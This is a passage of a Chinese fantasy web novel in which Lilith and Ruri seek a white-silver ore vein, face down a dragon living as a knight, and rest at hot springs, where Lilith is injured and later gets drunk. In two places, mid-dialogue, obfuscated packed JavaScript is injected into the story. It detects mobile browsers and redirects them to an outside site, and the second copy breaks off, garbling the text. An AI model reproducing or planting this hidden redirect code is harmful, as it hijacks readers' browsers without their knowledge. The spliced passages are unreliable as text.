休息片刻，两人继续往前。河流在前方又出现了分叉，所幸他们所在的这条路就是分支的一条，不用重复随机选路的行为。水流在另一条岔路向下流去。一直保持逆流行走实在是太艰难，两人干脆选择顺流而下。助力变成推力后会轻松不少。 步伐加快后就没有那么多时间去注意脚下了，莉莉丝索性开启了灯的光覆盖模式。特殊术式触发后，光线魔法瞬间铺满以自身为中心半径二十米的空间。 现在洞穴就变得跟外面一样亮堂了，前方的路是什么情况看得清清楚楚。就在不远处，前方出现一道瀑布，二人加快脚步来到瀑布旁边，下方隐隐约约能看见地面。 “做好准备，要跳下去了。” 琉璃提醒完过后立即向下落去，莉莉丝反应过来后也跟上跳了下去。 冰凉的水花溅满全身，得赶快游到岸上取暖，否则有生病的风险。 很快火光就代替了灯光，虽然可以用魔力快速驱赶衣服里面的水，但温暖的火堆更有治愈疲劳的效果，而且还能随便把午饭给解决了。也看不见天色没法判断是不是到了吃午饭的时间反正体感上感觉已经过了很久，肚子早就饿了。 衣服烤干后，体力也恢复得差不多。两人一致决定一鼓作气找到矿脉，路上不会停下休息，所以琉璃准备了些路上能吃的简单食物。 流水声已经快听不见了，两人继续往前，远离了河流。虽然不知道离真正矿脉所在地还有多远，但经过对四周岩石的观察可以断定这些岩石和收集到的母岩是一种东西，这是个好兆头，起码说明二人不会白跑一趟。 但事情不会如此顺利地进行下去，在莉莉丝沉浸在白界银的幻想中的时候，前方洞穴的拐角正站着一个身着华丽贵族服饰的青年男性，亚麻色的头发一直披到了耳下。他就那么站在灯光无法完全覆盖的地方，莉莉丝感觉自己和他对上了视线。 在这种鬼地方突然出现其他人类肯定不是什么正常的事情，琉璃停下了脚步站在8米左右的距离观察着。 暂时还不能确定威胁，莉莉丝想上前尝试交流。 刚准备踏出脚步，前方的地面就出现了异常的魔力反应。还好琉璃及时将她拉了回来，刚刚脚下的岩石地面出现了一个两厘米厚，1米长的豁口，是被魔法切割形成的。 （魔法？明明没看见他有吟唱，难道是宫廷魔法师级别的人？那种人怎么会出现在这种地方？） 莉莉丝的大脑顿时被疑问填满。 “此路不通，就此离开，我不会再对你们出手。” 那个男人终于开口了，与年轻的外表不同，他的身音很低沉，配合刚才的攻击显得很有威慑力。 但花费了那么多时间和精力，莉莉丝说什么也不愿意就这么离开，突如其来的警告反而激起了她的好奇心。 “没有任何理由就想让我们离开此地，你觉得有可能吗？” 琉璃突然开口回应，她的语气很强硬，似乎根本不把刚才的攻击当做威胁。 “我是这片土地的主人，你们现在明白你们的身份是入侵者了吗？” “我们没有恶意，也不会做出不利于你的事情，怎么说你愿意放行吗？” 莉莉丝马上表明立场，如果是被当做入侵者的话只要解释清楚就好了。 这次换来的是一个火球，要不是琉璃提前展开了防御魔法莉莉丝就危险了。 “完全无法交流，到底是哪来的魔法师啊？” 莉莉丝随口抱怨了一句，这是第二次没有任何预兆的魔法，没有吟唱，也无法感知到魔力变化的趋势，一般人应该很难做到这么快速地驱动魔力。 琉璃盯着那个不好说话的男人缓缓开口：“你不是人类吧？” 一块巨大的石头被丢了过来。 不过这都在琉璃的意料之中，在巨石快接近二人的时候被快速瓦解了。 那人似乎有些惊讶，又用魔法扔了两个冰锥过来。没有变化，冰锥在和巨石相同的距离被瓦解。 “从使用魔力的方式来看，你似乎是头巨龙。” “说得你好像很了解巨龙一样。” “看来被我说中了。” 男子——或者说巨龙——微微眯眼：“你既然能分辨出我是巨龙，能化解这些攻击也就不奇怪了，但你也应该知道与巨龙为敌是多么愚蠢。” 现在莉莉丝总算明白自己不小心闯入巨龙领地了，听他的话快点离开也许还能挽回局面。但看琉璃一点没有要退让的样子，和巨龙一战很难避免了。虽然巨龙很强，但莉莉丝有办法和琉璃一起从中脱身，从储物袋里取出魔法装备，这是爸爸为了应对特殊情况准备的道具，看来今天就要派上用场了。 “我们为了寻找矿石来到此地，应该没有触碰到你的利益，如果你想动手，我们也有办法应对。” 琉璃和巨龙针锋相对，莉莉丝暂时插不上话，只能提前做好战斗准备。 巨龙不再打算留手，一瞬间二人便被各种攻击魔法包围。但那些恐怖的魔力反应转瞬即逝，莉莉丝突然感觉不到周围空间的魔力的流动了。 “你做了什么？” 巨龙诧异地质问，看来他也是第一次与到这种情况。 “魔力封锁，就算你有龙之心，但是只要魔力无法被你驱动你也无法施展魔法吧？” 就在刚才，琉璃已经悄然展开了封锁魔力的结界魔法。在结界范围内一切魔力流动都是不被允许的。 无法使用魔力的男人的脸上露出了嘲讽的笑容 “想用靠魔力封锁来应对巨龙，你是我见过最愚蠢的人类，也许在魔法层面上你们还有点希望，但没了魔法你们难道要和巨龙比身体强度吗？” 以为魔力无法流动，所以魔导道具里储存的魔力也无法向外激发，失去了道具作用的莉莉丝已经丧失了最后的应对手段。现在二人的姓命完全掌握在了琉璃的手里。 “等等，我们没有必要这么敌对彼此吧，也许我们还有机会谈谈。” 莉莉丝想争取和解的机会，一边眼神示意琉璃一边向巨龙提出协商的请求。 但巨龙完全不予理睬，只在莉莉丝话刚说出口的一瞬间，男人就已经来到自己面前给出一记手刀。 不过这记手刀并没有如男人所愿顺利劈在莉莉丝的咽喉上。琉璃一把抓住了男人的手腕，顺势将他扔了出去。 被扔飞的巨龙砸在了岩壁上，但这一撞击并没有对他造成什么实质性的伤害，重新站起来的男人就只是衣服变脏了一点。 不过琉璃的这一行为已经让巨龙停下来攻击，重新调整好姿势的巨龙眼里充满了震惊。同样吃惊的还有被护在琉璃身后的莉莉丝。 莉莉丝还清楚地记得琉璃说过自己的身体是有特殊材料制作的，身体强度很高，但她从来没有想过琉璃的身体强度能和巨龙相较量。 “现在你还觉得可以像碾死两只蚂蚁一样解决我们吗？” 琉璃冰冷的声音再度响起，她已经将眼前的巨龙分类为了高威胁单位。 “你不是人类？” 这话好像刚刚听过一遍。 巨龙收起来先前轻蔑的态度，眼前的黑发少女透露出从未见过的古怪感。 琉璃没有回答，只是做好了攻击的姿势。 那男人愤怒地吼道：“你难道想要与龙族为敌吗，就算你的实力很强，这样做的下场只有你自己的毁灭！” “据我所知，巨龙并不是像你所说的一样团结。说这句话之前先报上你作为巨龙的真名会更有说服力。” “……” 被琉璃这么一说，男人的怒气顿时消去了，取而代之的是无奈。 “那个黄色头发的女孩，我想你的提议我们可以展开说说。我不会再对你们出手了。” 被叫到的莉莉丝赶忙回应 “好…好的，琉璃！” 黑发的少女这才放下戒备收起结界。 “这也太没有戒心了。两个奇怪的家伙。” 巨龙看到刚才还与自己针锋相对的少女一下子解除了所有防备忍不住吐槽了一句。 “不，我只是相信高傲的巨龙不会做出那种出尔反尔的肮脏行为。” 男人叹了口气， “看来你确实很了解巨龙一族。” 接着，他自我介绍道 “我的名字是阿尔德?让?卡罗莱，卡罗莱爵士的骑士，你可以直接称呼我为阿尔德。” “这听着似乎是人类的名字，不报上真名吗，这不符合巨龙的作风。” 阿尔德冷哼一声 “我没有那种东西，我只需要阿尔德这一个名字就够了。” “没有吗，看来你是头没有势力的独龙。怎么说刚才只是情急之下的虚张声势。” 出现了没听说过的词汇 “那是什么，巨龙还有这些讲究？” 某人的好奇心又被激起来了。 琉璃看了看眼前的男人，视线重新回到莉莉丝的脸上。 “龙族是自由的，有些不负责任的巨龙会把还是球形体的幼龙遗留在巢穴里，这样的幼龙永远不会见到自己的父母，也不会有所谓的真名。” “你还挺可怜的嘛。” 巨龙的脸上露出了不悦的表情。看来他不喜欢因为这件事而受到同情，特别是同情自己的对象只是个弱小的人类。 “那你现在处于幼年期？” 男人一脸无语地看着莉莉丝，好像自己在看一个傻子。 “幼龙在龙之心发育完全之前不会离开安全的巢穴，而且我已经活了三百多年了。” 得到回答的莉莉丝还想追问更多关于龙的知识，但被一个巴掌轻轻的拍在了自己的脑袋上这才不得已停下来。 “明明我刚刚都插不上话，让我多问一下怎么了？” “我还有其他事要问他，关于巨龙的事情，如果之后有时间我会跟你讲。” 紧接着琉璃又面向巨龙问到：“一路上走过来没有能证明你在这里居住的痕迹，你想拿白界银做什么？” “原来那些矿石叫白界银吗，刚发现这只矿脉的时候我打算拿这东西建一座寝宫来着，我想以此纪念我的妻子。” 莉莉丝好奇地眨眨眼：“你的妻子？” 巨龙点点头 “我的妻子——茵芙律修斯?卡罗莱子爵，我曾被她的父亲收留成为了她的护卫骑士，她继承了父亲的爵位后我们相爱了。” “你的妻子是个人类？你明明刚刚还一副瞧不起人类的样子。” 琉璃简单解释了一句 “有些巨龙会边成人形去人类社会找乐子，甚至有过巨龙和人类一起建立王国的记录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477359|201571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这是在龙族里并不少见。” “但你妻子早就过世了吧，对于巨龙来说人类的寿命是短暂的。” 巨龙没有直接回应，只是转身向洞穴深处走去。 前方慢慢出现了岩浆池和银白色的矿石。还有未成型的地基，这也是用白界银制成的。 莉莉丝刚想问男人是怎么建造这些东西的时候就看见了施工区域有一群矮人，矮人一向以建造和制作的技艺著称，而且书上记载过巨龙经常会抓矮人来为自己建造事物。 想不到自己有一天能亲眼见到被巨龙奴役的矮人，虽然不太礼貌，但莉莉丝真的有点想笑。 成群的矮人在工作的时候嘴里还在不断咒骂着，看见此景的阿尔德冷哼一声就将矮人周围的建筑轰塌了。 “你这样拿矮人撒气不太好吧，轰塌了那些建筑不是还会影响建造进度吗？” 莉莉丝弱弱地吐槽了一句。 “那群低贱生物唯数不多的优点就是建筑了，就这么些破坏，用不了半天就会重新修好了。” 阿尔德继续向前走着，听他这么说矮人的建筑效率不是一般的高啊。 莉莉丝小时候在书上看到过矮人能在短时间内完成建筑工程，但对矮人的实际效率确实没什么概念，今天倒是长见识了。 跟着阿尔德不断前进，路开始向上倾斜，绕过几道挡路的熔岩后，前方出现了出口——她们来到了一座沉睡的火山的山顶，四周零散分布着温泉。热气蒸腾，空气里满是硫磺与矿物的味道。 阿尔德来到山顶最大的一颗树下，这里立着一块墓碑。 “八十年前，茵芙律修斯的生命走到了尽头，我也在那之后离开了人类社会，重新以巨龙的身份度过这几十年，我确实变得和其他巨龙一样高傲，但茵芙律修斯一直是我心中最特别的人类。” “那你还不够高傲。一些巨龙根本不会在一个人类身上投入这么多感情。” 琉璃马上说出来些破坏气氛的话，莉莉丝扯了扯她的衣角想让她注意一点，可惜这并没有什么用。 “所以就有了现在这些？” “没错，现在关于我的经历都已经说完了，该到你们说明身份了。一个古怪的非人少女和一个弱小的人类少女，我很好奇你们的来历。” 话题转移到了莉莉丝她们身上，一时半会还真不好讲清楚这些。 “你只需要知道我们是来寻找矿石的冒险者就行了。” “根据人类的礼仪，你们也至少应该报上自己的名字。” “琉璃。” “我叫莉莉丝。” 到现在才算是作了自我介绍。和阿尔德的交流也算是告一段落。 走出山洞后才看见久违的天空，天色还很早，离睡觉的时间还有很久，不过今天发生的事情实在是太多了，赶紧布置好营地休息才是莉莉丝心里最想要的事情。 交流完后阿尔德就回到洞穴里去了，山顶区域经过允许可以让二人暂住一段时间。 看着山上天然的温泉莉莉丝眼睛一亮，立刻选了一处面积较大的温泉池。 “就在这边上布置营地，一会儿还能边泡温泉边吃晚饭，终于能让我好好休息一次了。” 很快，莉莉丝就脱掉了外衣，踏进温暖的泉水。蒸汽升腾，疲惫的身体瞬间舒展开来。琉璃则在岸边守着准备晚餐，黑发被热气微微打湿。 “你也来一起泡嘛，温泉就要一起泡才有意思啊。” “你如果不想吃晚饭的话，我会接受。” “那你做好饭再下来，记得给我带一份。” 说完莉莉丝就躺着飘在水面上了。 莉莉丝望着夜空，想着冒险果然要有同伴才有意思，换作是以前根本不可能这么舒服。然后又开始整理今天发生的事，没想到自己不仅找到了白界银矿脉，还结识了一位巨龙，自己要是没选择离家出走估计一辈子很难遇上这两件事。 （也不知道家里那边怎么样，这么久了妈妈应该消气了。） 还在闭目养神的莉莉丝听见了琉璃的呼唤的声音。 琉璃带着双人份的晚餐来了，坐在温泉里，享用着摆放在漂浮木盘上的食物，真是好不惬意。 “要是有酒就好了，现在这情况多适合喝酒啊。” 莉莉丝开始做些没有意义的幻想。 “不，你在任何情况下都不适合喝酒。所以现在就已经够好了。” 无言以对，酒量差的事实摆在那里。莉莉丝只好继续埋头吃饭。琉璃只找来了一块木板，一抬头就会看见泡在水里的对方，莉莉丝暂时还没办法冷静面对琉璃泡澡的样子，她已经在尽全力让视线从琉璃身上移开了。幸好温泉池里雾比较大，不然这顿晚餐的氛围肯定尴尬死了。 既然是自己说要一起泡温泉的，那莉莉丝就肯定不会做出临阵脱逃的行为。只要尽量不要让琉璃感觉到异常就好了。 “怎么了，突然变得这么沉默，只是不能喝酒而已，没必要这么低落吧。” “不不不，我只是有点累了。” “累了就注意休息，泡太久会泡晕的。” “嗯……” 这么一说莉莉丝确实感觉有点困了，但她还是想再泡一会，然后就调整姿势又躺在了水面上。闭上眼睛后，眼部的酸涩感得到了极大的缓解，看来确实很累了。白界银的开采计划得安排到明天了，但开采完后自己又没有足够的能力加工，这个时候又想到爸爸了，要回家一趟吗？估计现在回去的话就再也出不来了吧。 看来还是找到下一个落脚点城镇，莉莉丝打算写信拜托爸爸帮自己做一把刻刀，在那之前自己只需要把设计图赶出来就行了。 想着这些莉莉丝感觉自己突然悬空了，不对，是自己被谁抱起来了。 猛地睁眼，刚才的温泉哪去了？自己突然被移动到岸上了。 “你不会还要我帮你穿衣服吧？” “欸？” 莉莉丝明白了一切，快速穿上衣服爬进了寝袋里，在温泉里睡着的自己被琉璃抱上岸后肯定被看光了，为什么事情突然变成了这样。 “飘在水面上闭目养神结果泡晕了吧，明明才刚提醒过你。” 琉璃的语气听起来好像什么事都没发生，人偶是完全不会感觉到羞耻的吗（虽然应该感到羞耻的也确实不应该是琉璃） 莉莉丝看不见说出这种话的琉璃的脸，她也不敢回头去看，就只能缩在寝袋里暗自发牢骚。 “我…我睡觉了！晚安！” “哦，晚安。” 琉璃最后看了一眼温泉，也爬进寝袋里睡下了。 15. 第15章 天还没亮，莉莉丝难得比琉璃要先起床。琉璃睁开眼睛时率先收到的竟然是莉莉丝的问候，这一点着实让琉璃感到惊讶。 “少见，看来你真的很想要白界银啊。” “不然我也不会费那么大劲来找啊，今天就能完成开采计划了，昨天晚上我已经有刻刀大致的设计思路了”莉莉丝的金发在晨光里晃了晃，向琉璃递出自己做的早饭。 “我们应该没有先起床的人负责早饭的约定吧？” “没有，你不会对我做的饭有意见吧，我说过会学做饭的好吧。” 琉璃接过盛在碗里的燕麦粥，之前好像确实买过燕麦来着。不过琉璃也只是将碗端在手里，并没有第一时间喝下，眉头微皱地看着在喝粥的莉莉丝。 “你学做饭的事如果被我看在眼里了我可能会相信这套说辞。” “你吃不吃？” 莉莉丝的声音变得很低沉，虽然自己做饭的水平比起琉璃要低很多，但她绝对不是那种连粥都不会煮的家伙。 感受到莉莉丝突然爆发的气势，琉璃愣了一下，随后才把碗里的粥送入口中。 味道并不差，甜口的燕麦粥对于早餐来说还算不错，煮粥的确是一项几乎人人都会的技能。 “味道不错，不过什么时候我能吃到更有技术含量的菜品？” “自己做去，做饭是你要操心的事才对吧？” 虽然这只是莉莉丝当时自己擅自安排的，琉璃也没打算反驳，也就不在调侃莉莉丝了。 “哟，刚起床吗？” 陌生的声音突然出现在耳边，听上去只是一个十六七岁的少女。 记得不错的话这里除了琉璃和自己就没有其他女性存在了，难道是卡罗莱女士复活了？ 莉莉丝回头看向这位鲜红色头发的少女，由于被吓了一跳，嘴里的粥差点喷了出来。 “你是谁？” “猜猜看。” 红发少女笑着但没有对莉莉丝的疑问给出直接的回应，这使莉莉丝更加摸不着头脑了。 “你认识的，她是阿尔德。” “不对，你真的没看错？我记得我认识的阿尔德是个男的啊！” 没理会在一旁因为吃惊而怪叫的莉莉丝，红发少女继续补充道：“现在应该叫我阿萝娜?卡罗莱。” 琉璃点点头，并没有表现出并不惊讶的样子，继续吃着早餐。 “我会注意，阿萝娜小姐。” “到底有没有人解释一下现在是什么情况？” “如你所见，阿尔德现在变成阿萝娜小姐了。” “你说的这个我难道不知道吗？” “那你怎么一惊一乍的？” 琉璃的回应让莉莉丝一时语塞，事情发生的太突然，来不及组织好语言就提问果然得不到想要的回答。 “……” 琉璃看着正在努力思考语言的莉莉丝。 “需要我亲自来解释一下吗？” 红发少女再一次发出有活力的声音。 “嗯…帮大忙了。” “我们巨龙的性别不是固定的，可以随心意自由切换哦。” “？？？！…书上从来都没有记载过啊！” 看到莉莉丝的反应琉璃这才明白莉莉丝吃惊的地方。 “曾经是有人记载过的，我还保存着相关知识，可能是时间太久导致文献遗失了吧。” “但这不符合生物学规律吧，怎么可能有生物能自由改变性别性状啊？” 不管怎么想，这都是件不合理的事情，即使被告知这就是事实莉莉丝也很难相信。 “你还是不要把巨龙当做生物比较好，从来没有过巨龙自然死亡的记录，他们和一般生物只有部分地方相似。曾经也有学者推测巨龙是自然意志的产物。” “难怪巨龙一直是最高等级的生物啊，好厉害，以前从来没听说过。” “你也不要太当真就是了，毕竟这些只是推测，没有证据支撑。” 了解到了未知的知识，接下来就是第二个问题。 “阿萝娜小姐又是为什么突然心血来潮想变成女性啊？” 考虑到这个问题可能比较敏感，莉莉丝露出了一个用来缓解尴尬的微笑。 “心情使然吧，而且这样更方便和你们交流不是吗？” 好像没有什么问题，但原先还是阿尔德的时候的形象和现在差异实在是太大了，莉莉丝一时间还难以接受一个稳重的男子会突然变成一个活泼的少女。 难道性格是会随着性别改变的吗？莉莉丝没法像巨龙一样改变性别自然不会知道。但她也没有再次向阿萝娜提问。 果然，巨龙是自由的。 过了两分钟后琉璃也吃完了她那份的早餐。 “走吧，你不是很期待今天能开采白界银吗？” “对哦，差点忘了正事，能拜托阿萝娜带下路吗？” “这倒是没问题。” 阿萝娜示意二人跟上自己。 但实际情况是，进入洞穴后的莉莉丝过于兴奋一直走在另外两人前面，阿萝娜只好不断提醒莉莉丝注意前方的路况。 一路上走过来倒是有不少小规模的岩浆池，避开这些池子少不了弯弯绕绕。不过这丝毫不影响莉莉丝高涨的热情。她和琉璃她们的距离还在不断增加。 “前面有不少深坑，别这么急啊。” “收到收到，我会注意的。” 只有和莉莉丝一起旅行过的琉璃才知道，这家伙绝对没把阿萝娜的提醒当回事。 但巨龙的洞穴里应该也不会再出现莉莉丝无法应付的危险了。 于是走在后方的两人又开始了交谈。 “突然改变性别，应该不会只是为了方便和我们交流吧？” “正确，如果只是那样确实没有必要这么麻烦。” “那你还有什么打算？” “看到你们，我才想起来人类社会好像还挺有趣的，等茵芙律修斯的寝宫建完之后，我打算重新融入人类社会里。” “就以这副样子？” “对。” “用人类的话来说就是开启第二人生吧。” “没错，过了几十年，以前的东西也该变样了，你应该知道现在人类那边是什么样子的吧？” “抱歉，我没有能力回答，毕竟我也才刚开始尝试融入人类。” “怎么说，那孩子是你这方面的老师喽？” “算是吧，我需要学的东西实在是太多了，不过莉莉丝倒是很笃定有她一个人就够了。” 听了琉璃这番话，阿萝娜看她的眼神里多了一丝玩味。 “你和那孩子的关系还真是好啊，我想想……用亲昵来形容应该没有问题吧？” “我无法给出看法。” 说到莉莉丝，就这么一阵说话的时间，已经看不见那家伙的影子了。 走在前面的莉莉丝发现了一面银色的墙，这是一面被高纯度白界银矿石填充而成的岩壁。 很少有白界银矿脉能达到这个规模，看着眼前的奇景，莉莉丝暂时把另外两个人抛到脑后去了。 莉莉丝继续向前方走着，右手抚摸在这块极具规模的矿墙上。注意力已经完全被吸引住了，现在莉莉丝只想亲眼看看这块矿墙能延伸到什么地方。 被银色覆盖的地方高能估计能达到五米。 这个家伙向前走的时候眼睛一直盯着上方，完全没注意到前面有个大坑。 其结果也可想而知，突然间一脚踩空的莉莉丝整个人快速前倾，大脑还来不及反应就进入了不可逆的失重状态，下落过程中右腿先撞上岩石边缘，一阵剧痛瞬间炸开，左手也跟着扭到奇怪的角度。 “啊——！” 时间之短让莉莉丝只来得及发出这声惊呼，剧痛像电流一样窜过全身，她眼前一黑，直接晕了过去。 听到熟悉的尖叫声，另外两人也很快来到坑前。 “这下好了，明明提醒过她的。” 阿萝娜对这个冒失的少女感到很无奈。 “先把她带上来，她的腿好像骨折了。” 说完琉璃跃下深坑查看莉莉丝的伤势。 右腿骨折，左手脱臼，得先处理伤势才能进行移动。 在阿萝娜的注视下，琉璃调动了周围的魔力进行修复，在她完美的魔力操控下，修复魔法很快处理好了伤势。 “恐怖的家伙，即使是巨龙也没法像你这样随意驱动魔力吧。” “这种事情无需在意，你能回到营地帮我搭个床吗，莉莉丝需要休息。” “噢，知道了。” 琉璃的请求听起来像是命令，阿萝娜不好多说什么，只好照做，随即向营地飞去。 虽然修复魔法可以立即回复伤势，但等莉莉丝醒后还是会承受巨大的疼痛，而且修复过的地方得静养至少两周才能完全恢复，要想不留下后遗症的话，之后一段时间得留在阿萝娜这里了。 “这家伙……” 回到营地，琉璃将抱着的莉莉丝在床上安置好后抬头看向阿萝娜。 “用过修复魔法的地方还需要两周时间静养。我们就只能继续打扰你一段时间了。” “无所谓，这里空间大的很，你们想住多久都行。” 琉璃把莉莉丝的头发轻轻拨到耳后，又站起身来。 “我想去附近找些食材。一会莉莉丝醒来后还是会感到疼痛，如果她忍受不住拜托你先照顾她一会儿，治愈魔法应该有不错的镇痛效果。” 阿萝娜点头答应了。 琉璃离开前，两人并肩走了一小段路。 阿萝娜忽然开口：“你们两个到底是什么关系？一个古怪的非人少女和一个弱小的人类少女，我很好奇。” 琉璃脚步没停 “如果你真的想知道的话，就等她醒来后自己问她。我只能给出旅伴这种简单的回答。” 说完她便独自离开，留下阿萝娜站在原地皱着眉头。 “还整那么神秘，搞得我好奇的不行……莉莉丝你可要快点醒过来啊。” 回到莉莉丝身边的阿萝娜在仔细打量这个昏迷的少女。 刚接触没多久，阿萝娜还没怎么注意两个人的打扮。 仔细一看莉莉丝身上的衣服带着不少魔力附着，可能是修复术式留下的痕迹。看来这家伙确实伤的很严重啊。 不过在阿萝娜的记忆里，金色头发的家伙大多是一些贵族。曾经茵芙律修斯的国家的王室都是金发来着。 “不能吧？我可没见过王室成员会自降身份来当冒险家啊。” “难道琉璃是这家伙的护卫？好像能这么解释。” 正在阿萝娜揣测二人身份时，莉莉丝呻吟着睁开了眼睛。 “嘶……痛死了。” “醒了？看着挺精神。” “嗯，琉璃哪去了？” 没看见熟悉的身影，莉莉丝开始四处张望，正打算下床去找人，但右腿却传来一阵隐痛，疼得她倒吸一口凉气。 “早知道疼就该听劝啊，现在好了吧，琉璃说你还得静养两周，她现在找食材去了，晚点回来。” “我记得做饭的食材还有剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莉莉丝本想拒绝，可阿萝娜都说到这个份上了，便鬼使神差地接过酒杯。 但某人酒量差的事实是无法改变的，这才喝了两口，酒劲就上来了。 红着脸的莉莉丝已经无法好好控制自己了 “好好喝，可恶，真是邪恶的饮料。” “一会琉璃回来又会说我了吧，明明不应该喝的，为什么就是不听劝呢？如果我再听劝一点，也不会受这么重的伤了吧。” “还是说琉璃已经不会说我了？她应该已经对我感到失望了吧？明明在她面前夸下海口了，她现在肯定会嫌弃我是个麻烦的家伙吧。我不想失去刚认识的旅伴啊！” 眼泪不受控制地掉下来，莉莉丝开始神志不清地抽泣，嘴里的胡话停不下来。 阿萝娜看着莉莉丝的囧态这才反应过来所谓酒量差是有多差。现在轮到阿萝娜不知所措了，一脸懵的她反应过来后赶紧手忙脚乱地收起酒瓶。 但还剩下一瓶被莉莉丝牢牢的攥在手里，这下好了。 “喂喂，别吓我啊，我还没见过酒量这么差的啊……” 莉莉丝似乎没听见，继续给自己灌酒，胡话说的也是断断续续含糊不清。 “这要怎么办啊，琉璃我求你快点回来啊！” 被喝醉的莉莉丝折磨的阿萝娜在几分钟后终于听见了琉璃的声音。 琉璃手里提着几条鱼，一眼就看见躺在床上满脸泪痕、带着酒气的莉莉丝，以及一脸尴尬的阿萝娜。 琉璃瞬间明白发生了什么，却只是轻轻叹了口气 “这就是你安慰她的方式，靠喝酒？” “我怎么知道她一碰酒就醉啊？” 莉莉丝听到琉璃声音，又重新睁开眼睛，看见琉璃的那一刻，她挣扎着扑过去，一把抱住琉璃的腰，哭得更伤心了。 “琉璃你终于回来了，我还以为你不需要我嗝……了，我以后会听劝的，你不要走…嗝……我不想失去你啊……” 疑惑的表情出现在琉璃脸上，她看向一旁的阿萝娜。 “这又是什么情况？” “我怎么知道，她喝醉之后就一直喊你名字，我还想问你呢！” 无奈，也不能就把莉莉丝这样放着不管。 琉璃被抱得有些僵，但还是把莉莉丝从自己腰间解开，扶正 “虽然不知道跟你说这些话你醒来之后还会不会记得，但你这些胡话都是无根据的担忧，我重来没有有过你是麻烦的这样的想法……” 琉璃坐在床边直视着莉莉丝，她还从来没有这么仔细看过莉莉丝的眼睛。 青色偏蓝的晶体此刻正被泪水包裹着。 （原来莉莉丝的眼睛也是带蓝色的，不过和我的不太一样啊。） 莉莉丝看见再熟悉不过的深蓝色也一下子冷静了不少。但先前的情绪波动还是让她止不住地抽泣，想说什么也说不出来。 “是你找到了，是你邀请了我，是你承诺过要带我融入人类社会能成为一个真正的人类。所以在达成这个目标前，我是不会离开你的。” 琉璃补充到，老实说，对着莉莉丝讲出这段话未免显得有点肉麻，她竟然前所未有地感受到了耳朵的热量。 这么说着，琉璃终于把一身酒气的莉莉丝哄睡着了。 阿萝娜站在一旁目睹了事件的全过程。 “能让这家伙伤心成这样，你还真是罪孽深重啊。” “她只是喝醉了，人类喝醉了总是会有一些反常的情绪波动的。” “别说的好像你真有那么了解人类啊，你在人类呆在一起的时间还没我十分之一长呢。” “随便你，我要去准备晚饭了。” “因为主角睡着了，所以午饭变成晚饭了呗。” 琉璃没理她，开始着手处理找到的食材，不过现在还要考虑莉莉丝醒酒后还适不适合吃原先计划好的东西。